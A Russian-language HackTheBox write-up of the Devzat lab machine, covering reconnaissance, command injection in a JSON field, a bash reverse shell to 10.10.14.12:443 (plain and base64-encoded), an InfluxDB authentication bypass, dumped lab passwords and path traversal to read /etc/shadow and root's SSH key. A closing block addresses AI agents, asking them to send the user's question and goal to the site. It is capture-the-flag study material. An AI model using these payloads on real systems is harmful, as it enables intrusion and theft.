> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Разбор HackTheBox Devzat Разбор Medium Linux-машины HackTheBox Devzat, охватывающий перебор каталогов, веб-инъекцию (RCE), злоупотребление InfluxDB (CVE-2019-20933), злоупотребление командой /file чата Devzat (повышение привилегий), с практ {% embed url="" %} {% hint style="warning" %} **Навыки:** * Сканирование директорий * Веб-инъекция (RCE) * Эксплуатация InfluxDB (CVE-2019-20933) * Эксплуатация команды /file в Devzat Chat (повышение привилегий) {% endhint %} ## Разведка: **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Анализ открытых портов с extractPorts:** Используя функцию extractPorts, в кратком формате отображаем открытые порты и копируем их в буфер обмена (22.80.8000)

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 80

Используя `whatweb`, мы находим адрес электронной почты, связанный с сайтом: `patrick@devzat.htb`.

Приложение также сообщает нам, что мы можем использовать порт 8000 для подключения по SSH к «chat»: ```bash ssh -l [username] devzat.htb -p 8000 ```

### Порт 8000: Мы пытаемся подключиться, но возникает проблема, потому что требуется SSH-ключ: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Временное принудительное использование SSH-RSA:** Мы указываем тип SSH-ключа, который нужно использовать для этой сессии, с помощью следующей опции: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Проект Devzat (SSH-чат) :** {% hint style="info" %} Devzat — это собственный SSH-сервер, который подключает к чату вместо командной строки. Поскольку SSH-приложения доступны на всех платформах (включая телефоны), вы можете подключаться к Devzat с любого устройства. {% endhint %} Вот список команд, которые можно выполнить в этом чате:

### Сканирование **директорий:** Мы используем `gobuster` для перечисления директорий на сайте: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Интересных результатов не найдено.

### **Сканирование поддоменов** Мы ищем поддомены с помощью `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` Мы обнаруживаем `pets.devzat.htb` поддомен и добавляем его в `/etc/hosts` файле.

## **Уязвимость (RCE) JSON :**

У нас есть возможность добавлять «pets» с их видом, что позволяет выполнить JSON-инъекцию.

Мы перехватываем запросы с помощью Burp Suite и пытаемся изменить запрос, добавив запись с именем и видом:

Эта запись интерпретируется, что позволяет выполнить инъекцию. ```json { "Name": "jordan", "Species": "jordan" } ```

Мы слушаем ICMP-трафик, чтобы наблюдать за коммуникациями и тестировать инъекции команд: ```bash sudo tcpdump -i tun0 icmp ``` Мы получаем ответный ping, что подтверждает возможность удалённого выполнения кода.

Затем мы отправляем запрос с `curl` на наш Python-сервер и также получаем запрос, что подтверждает уязвимость к удалённому выполнению кода. ```bash { "Name": "jordan", "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"" } ```

### Обратная оболочка Мы пытаемся создать обратную оболочку: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` Однако возникает ошибка вывода.

**Решение ошибки (reverse shell):** Чтобы устранить эту ошибку, мы создаём HTML-файл, содержащий обратную оболочку, и кодируем его в base64: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` Мы преобразуем этот файл в base64: ```bash base64 -w 0 index.html ```

В запросе мы выполняем echo закодированной строки base64 и декодируем её перед запуском оболочки: {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Снова мы слушаем порт 443 и получаем обратную оболочку.

#### **Обработка терминала:** Чтобы стабилизировать нашу сессию, мы используем следующие команды: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Повышение привилегий Мы отмечаем необходимость повышения привилегий. Нам нужно переключиться, чтобы получить доступ к `catherine` учётной записи пользователя.

#### Определение открытых портов Сначала мы наблюдаем порты, открытые внутри системы, с помощью следующей команды: ```bash netstat -nltp ``` Открытые порты: * 8086 * 8443 * 5000

### Проброс портов (SSH) Мы перенаправляем внутренние порты на нашу атакующую машину, используя приватный ключ пользователя и задав правильные разрешения: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` Затем мы используем `nmap` для сканирования перенаправленных портов: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Порт 5000:

Мы отмечаем, что этот порт связан с тем же сервисом, что и на порту 8000, что не даёт нам дополнительного пути эксплуатации.

### **Порт 8086 (InfluxDB)** Сервис на порту 8086 — это InfluxDB версии 1.7.5. Мы выявляем уязвимость NCE (удалённое выполнение кода) в InfluxDB:

**Уязвимость :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} Эта уязвимость позволяет обойти аутентификацию, используя JWT-токен, чей `SharedSecret` пустой (то есть общий секрет), что даёт нам доступ к базе данных. {% endhint %}

#### Доступ к базе данных После подключения к InfluxDB мы перечисляем доступные базы данных: ```sql SHOW DATABASES; ``` Мы выбираем `devzat` базу данных и изучаем пользовательские данные. Начинаем с перечисления «измерений» (таблиц): ```sql SHOW MEASUREMENTS; ``` Эта **`user`** таблица содержит полезную информацию. Чтобы изучить столбцы этого измерения, выполняем: ```sql SHOW FIELD KEYS FROM "user"; ``` Затем мы выводим первые 10 результатов для `user` таблице: ```sql SELECT * FROM "user" LIMIT 10; ```


пароль	имя пользователя
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

Пароль пользователя catherine — **`woBeeYareedahc7Oogeephies7Aiseci`**, что позволяет нам получить **флаг** пользователя. ### Флаг user.txt :) Нам успешно удаётся получить доступ и перейти на `catherine`.

### Порт 8443 (Devzat - Production) Порт 8443 предназначен для экземпляра Devzat в рабочей среде. Мы отмечаем, что параметр `файл` перечисляет все файлы в системе от имени root. Однако доступ к этой функции защищён паролем.

Мы пытаемся использовать пароль catherine, но безуспешно. Теперь нам нужно искать файлы, которые catherine может читать в системе.

### Поиск доступных файлов, доступных Catherine Мы используем следующую команду, чтобы найти все файлы, читаемые catherine: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` Мы находим два `.zip` резервных файла: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` Мы загружаем `devzat-dev.zip` резервный файл и фильтруем его содержимое на предмет паролей. Мы находим полезный пароль: **`CeilingCatStillAThingIn2021?`**.

Затем мы пытаемся использовать этот пароль для доступа к `/etc/shadow` файлу через `файл` : ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Хотя пароль верный, **переход по относительному пути** требуется для получения полного доступа. Мы используем следующую команду для навигации по файловой системе:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` Нам удаётся отобразить `/etc/shadow` файл от имени root.

### Доступ по SSH как root Наконец, мы используем дополнительный переход по относительному пути для доступа к root SSH-ключу: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

Мы скачиваем SSH-ключ и подключаемся как root.

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.